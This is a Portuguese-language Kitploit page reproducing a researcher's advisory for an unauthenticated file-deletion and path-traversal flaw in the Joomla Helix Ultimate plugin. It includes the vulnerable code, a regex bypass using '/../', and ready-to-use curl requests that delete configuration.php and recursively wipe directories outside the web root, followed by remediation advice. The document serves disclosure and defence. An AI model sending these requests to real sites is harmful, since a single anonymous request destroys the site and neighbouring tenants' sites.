Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-57830 — Unauthenticated Arbitrary File/Folder Deletion in Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830 | Kitploit
Ferramentas/GitHubGitHub/is4yev/cve-2026-57830
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringCTFPenetration TestingLearning & Education
GitHubis4yev/cve-2026-57830

CVE-2026-57830

Unauthenticated Arbitrary File/Folder Deletion in Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830

Ver Repositório
3há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Helix Ultimate Framework — Leitura + Exclusão Arbitrária de Arquivos/Pastas com Path Traversal Não Autenticado

Esta é uma vulnerabilidade confirmada de DoS + acesso ao sistema de arquivos entre inquilinos, NÃO RCE. Uma teoria de escalada RCE (excluir configuration.php para reexpor o instalador do Joomla) foi testada ao vivo e refutada — veja "Escalada RCE — testada e refutada" abaixo. Não represente isto como RCE em nenhum relatório sem primeiro derivar uma cadeia real.

Atualização de gravidade (06/07/2026, segunda passagem): o parâmetro path NÃO está contido de forma segura na raiz web do Joomla como avaliado inicialmente — o filtro de entrada PATH do Joomla não bloqueia um único componente de travessia /../, então este bug alcança (leitura: listagem completa de diretórios; escrita: excluir arquivo ou apagar recursivamente o conteúdo da pasta) qualquer coisa no sistema de arquivos que o usuário do servidor web possa acessar, não apenas arquivos dentro da instalação do Joomla. Em qualquer layout de hospedagem compartilhada onde vários sites/inquilinos existam como diretórios irmãos sob o mesmo usuário do SO (extremamente comum: "addon domains" do cPanel, assinaturas Plesk compartilhando um usuário do sistema, hospedagem econômica), um único site baseado em Helix-Ultimate permite que um visitante anônimo destrua todos os outros sites na mesma conta. Veja "Path traversal escapa do JPATH_ROOT completamente" abaixo para a prova ao vivo.

Componente: JoomShaper Helix Ultimate Framework (plg_system_helixultimate), empacotado com praticamente todos os templates Joomla da JoomShaper (baseados em Helix Ultimate).
Versão testada: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD em 06/07/2026, último push 30/06/2026)
Autor: Amin İsayev / Proxima Cyber Security


Resumo

plugins/system/helixultimate/src/Platform/Media.php expõe deleteMedia(), getFolders() e createFolder() através do hook de dispatch com_ajax do Joomla em helixultimate.php::onAfterRoute(). Esses três métodos apenas chamam Session::checkToken() (uma verificação CSRF simples, satisfeita pelo próprio token de sessão de qualquer visitante anônimo — obtido a partir do HTML da página inicial do site) — nenhuma verificação authorise() / login. Isso é inconsistente com o método irmão uploadMedia() na mesma classe, que corretamente requer core.edit em com_templates.

Por ser um plugin de sistema, onAfterRoute() é disparado em toda requisição independentemente de qual template está ativo — o caminho de código vulnerável é acessível enquanto o plugin estiver instalado e habilitado (o que acontece por padrão em qualquer site que use um template baseado em Helix-Ultimate da JoomShaper).

Causa raiz

plugins/system/helixultimate/helixultimate.php (linhas ~464-489):

root@kitploit:~
if ($this->app->isClient('site'))
{
    $option  = $this->app->input->get('option', '', 'STRING');
    $helix   = $this->app->input->get('helix', '', 'STRING');
    $request = $this->app->input->get('request', '', 'STRING');
    $action  = $this->app->input->get('action', '', 'STRING');

    if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
    {
        switch ($action)
        {
            case 'upload-blog-image': Blog::upload_image(); break;   // tem verificação core.create/com_media
            case 'remove-blog-image': Blog::remove_image(); break;   // tem verificação core.delete/com_media
            case 'view-media':        Media::getFolders();  break;  // SEM verificação authorise()
            case 'delete-media':      Media::deleteMedia(); break;  // SEM verificação authorise()
            case 'upload-media':      Media::uploadMedia(); break;  // tem verificação core.edit/com_templates
        }
    }
}

plugins/system/helixultimate/src/Platform/Media.php:

root@kitploit:~
public static function deleteMedia()
{
    $output['message'] = Text::_('JINVALID_TOKEN');
    Session::checkToken() or die(json_encode($output));   // ← apenas CSRF, sem authorise()

    $path = $input->post->get('path', '/images', 'PATH');
    $type = $input->post->get('type', 'file', 'STRING');

    if ($type === 'file')  { File::delete(JPATH_ROOT . '/' . $path); }
    else                    { Folder::delete(JPATH_ROOT . '/' . $path); }  // recursivo
}

$path passa pelo filtro de entrada PATH do Joomla (InputFilter::cleanPath()). Duas coisas independentes tornam isso perigoso:

  1. Nenhuma travessia é necessária para alcançar qualquer coisa dentro da raiz web — path é resolvido diretamente sob JPATH_ROOT, portanto qualquer caminho absoluto a partir da raiz (/configuration.php, /administrator/..., /media/...) já está acessível.
  2. Travessia acima da raiz web também funciona. A regex do cleanPath() (^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) permite exatamente uma execução de caracteres ponto/hífen/alnum posicionada logo após o bloco inicial [A-Za-z0-9_/-]+ — e uma barra / inicial sozinha satisfaz esse bloco inicial, então uma string como /../sibling_dir corresponde limpa: / (bloco 1), .. (a execução de pontos permitida), (um segmento final normal). O filtro foi escrito para rejeitar um segmento que um novo componente com um ponto, mas nunca previu um único sentado diretamente após o primeiro caractere da string. Encadear NÃO sobrevive (cada segmento subsequente após a primeira execução de pontos deve começar com um caractere não-ponto) — então a fuga é limitada exatamente a nível de diretório acima de , mas tudo abaixo desse nível (profundidade arbitrária) é então alcançável normalmente, já que os segmentos seguintes são apenas componentes de caminho comuns sem pontos.

Impacto

  • Exclusão não autenticada de qualquer arquivo único sob a raiz web do Joomla → trivialmente configuration.php → paralisação instantânea e total do site (erro fatal "Nenhuma configuração"), uma requisição HTTP, autenticação zero.
  • Exclusão recursiva não autenticada de qualquer pasta (type=folder) → ex.: /administrator, /components, /media → muito mais destrutivo, efetivamente destrói a instalação.
  • Divulgação não autenticada de informações via view-media (Media::getFolders()): lista todos os arquivos de imagem, todos os nomes de subpastas e caminhos absolutos do servidor sob qualquer caminho relativo à raiz, sem necessidade de autenticação (usado abaixo como sinal de detecção seguro).
  • Escapa completamente da raiz web (um nível acima, depois profundidade ilimitada a partir daí) — alcança diretórios irmãos da instalação do Joomla. Em hospedagem compartilhada onde vários sites compartilham um usuário do SO (addon domains do cPanel, assinaturas Plesk, etc.), um visitante anônimo de um site Helix-Ultimate pode enumerar e apagar arquivos pertencentes a todos os outros sites sob essa mesma conta. Isso transforma um bug de um único site em um raio de explosão de conta inteira do servidor.
  • Nenhuma escalada RCE foi encontrada — veja abaixo.

Verificação ao vivo (06/07/2026)

Testado contra uma instância Docker descartável (Joomla 5.4.6 + plugin Helix Ultimate 2.2.6, instalação nova, sessão de navegador completamente anônima — sem login, sem cookie além do que o Joomla distribui para todos os visitantes):

root@kitploit:~
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
    --data-urlencode "path=/configuration.php" \
    --data-urlencode "type=file" \
    --data-urlencode "<csrf-token-from-homepage>=1"

{"status":true, ...}

$ curl http://TARGET/
"No configuration file found and no directory was found for installation."

Path traversal escapa do JPATH_ROOT completamente — prova ao vivo (06/07/2026)

Criado um diretório irmão da raiz web do Joomla (/var/www/canary_sibling, irmão de /var/www/html), de propriedade do mesmo usuário que o servidor web (www-data) para espelhar um layout realista de hospedagem compartilhada, populado com um arquivo, uma imagem e um subdiretório:

root@kitploit:~
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \
    --data-urlencode "path=/../canary_sibling" \
    --data-urlencode "<csrf-token>=1"

{"status":true, "path":"/../canary_sibling",
 "images":["/var/www/html/../canary_sibling/proof.png"],
 "folders":["subdir"], ...}

Leitura/enumeração completa de um diretório completamente fora da instalação do Joomla, incluindo caminhos absolutos resolvidos do servidor, com autenticação zero.

root@kitploit:~
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
    --data-urlencode "path=/../canary_sibling" \
    --data-urlencode "type=folder" \
    --data-urlencode "<csrf-token>=1"

Resultado: todos os arquivos dentro de canary_sibling (o arquivo simples, a imagem e o subdiretório) foram excluídos. Apenas a pasta canary_sibling de nível superior agora vazia sobreviveu, e apenas porque neste laboratório ela estava diretamente sob /var/www, de propriedade de root — remover a entrada do diretório vazio requer permissão de escrita em seu pai, que www-data não tem em /var/www. Em um layout real de hospedagem compartilhada (ex.: /home/user/domains/siteA.com/public_html e /home/user/domains/siteB.com/public_html como verdadeiros irmãos, ambos de propriedade do mesmo usuário da conta), essa última barreira não existe e toda a árvore de diretórios do site irmão é removível.

Escalada RCE — testada e refutada (06/07/2026)

A teoria óbvia seguinte foi: em um site onde installation/ nunca foi removido após a configuração, excluir configuration.php tornaria o assistente de instalação acessível novamente, permitindo que um invasor o completasse e criasse um novo Super Usuário. Isso foi testado diretamente no laboratório e não se sustenta:

  1. A pasta installation/ foi copiada de volta para a raiz web (simulando um site que esqueceu de removê-la) — configuration.php ainda estava presente e válido neste ponto.
  2. Resultado: o próprio bootstrap central do Joomla (antes de qualquer plugin, incluindo o vulnerável, ser executado) imediatamente começou a emitir 302 Found -> /installation/index.php para todas as requisições, incluindo o POST do próprio exploit para option=com_ajax&helix=ultimate&...&action=delete-media. O caminho de código vulnerável nunca executa neste estado — o núcleo do Joomla faz um curto-circuito em tudo primeiro.
  3. Consequência: os dois estados não se encadeiam.
    • Se installation/ estiver presente: o site já está completamente aberto a takeover para qualquer visitante, independentemente desta vulnerabilidade — isso é uma configuração incorreta pré-existente e não relacionada do Joomla, não algo que este bug cause ou seja necessário.
    • Se installation/ estiver ausente (o estado normal e seguro): esta vulnerabilidade só pode excluir arquivos, não pode criar a pasta installation/ de volta — não há como reexpor o instalador a partir de uma primitiva apenas de exclusão.

Conclusão: nenhuma combinação de estados transforma isso em RCE. O teto de impacto confirmado e honesto é DoS total do site não autenticado, incondicional e garantido (mais a divulgação de informações não autenticada observada acima). Isso já é uma descoberta de gravidade Crítica por seus próprios méritos e não precisa de uma alegação inflada de RCE.

Correção: createFolder() NÃO é acessível sem autenticação (rascunho anterior estava errado)

Uma versão anterior deste relatório afirmava que Media::createFolder() também era acessível sem autenticação (como uma terceira primitiva junto com exclusão/leitura). Isso estava incorreto e foi corrigido após uma passagem completa pela fiação de dispatch do plugin:

  • createFolder(), e os sinks reais de escrita de conteúdo de arquivo na base de código (Request.php: fwrite(), File::write() para estilo de template/webfonts/cache CSS), todos residem em plugins/system/helixultimate/src/Platform/Request.php, despachados apenas via Platform::handleRequests() <- onAfterRespond().
  • onAfterRespond() exige explicitamente $this->app->isClient('administrator'), e onAfterRoute() redireciona separadamente qualquer visitante não logado antes desse ponto. Este caminho é genuinamente autenticado por admin — confirmado lendo a condição de bloqueio exata, não apenas a ausência de uma chamada authorise() dentro do próprio método (ao contrário dos deleteMedia()/getFolders() do lado do site, que realmente não têm nenhum bloqueio).

Conjunto de capacidades não autenticadas confirmado, final: apenas exclusão (arquivo ou pasta recursiva) + leitura (listagem de pasta/imagem). Nenhuma primitiva de escrita de conteúdo não autenticada existe em qualquer lugar deste plugin. Esta é precisamente a razão pela qual nenhuma cadeia RCE foi encontrada mesmo após uma caça específica — RCE fundamentalmente precisa de uma primitiva de escrita, e esta classe de bug não tem uma.

Detecção PoC — helix_ultimate_detect.py

Não destrutivo. Usa action=view-media (listagem de pasta/arquivo) como sinal de prova — nunca exclui nada.

Exploit / DoS PoC — helix_ultimate_delete_poc.py (nome mantido por continuidade; confirma apenas DoS)

Destrutivo. Requer --delete <path> explícito para tocar qualquer coisa. A flag --rce exclui configuration.php e sonda /installation/ apenas para verificar se essa pasta já está presente (caso em que o site estava independentemente aberto independentemente deste bug) — não representa uma escalada real causada por esta vulnerabilidade; veja "Escalada RCE — testada e refutada" acima. Use apenas com autorização por escrito.

Remediação

Duas correções independentes são necessárias, qualquer uma delas sozinha já pararia isso:

  1. Adicionar a mesma verificação de autorização que uploadMedia() já possui a deleteMedia() e getFolders() em src/Platform/Media.php — no mínimo core.edit/core.delete em com_templates (ou com_media, seguindo o padrão de Blog::remove_image()), antes de realizar qualquer operação no sistema de arquivos.

Amin İsayev / Proxima Cyber Security — 2026. Uso educacional / testes autorizados apenas.

Baixar ferramenta
/sibling_dir
inicie
/…
..
../../..
/…
um
JPATH_ROOT
  • O switch front-end (isClient('site')) em onAfterRoute() apenas conecta cinco ações: upload-blog-image, remove-blog-image, view-media (Media::getFolders), delete-media (Media::deleteMedia), upload-media (Media::uploadMedia, que verifica core.edit/com_templates). create-folder não está entre elas.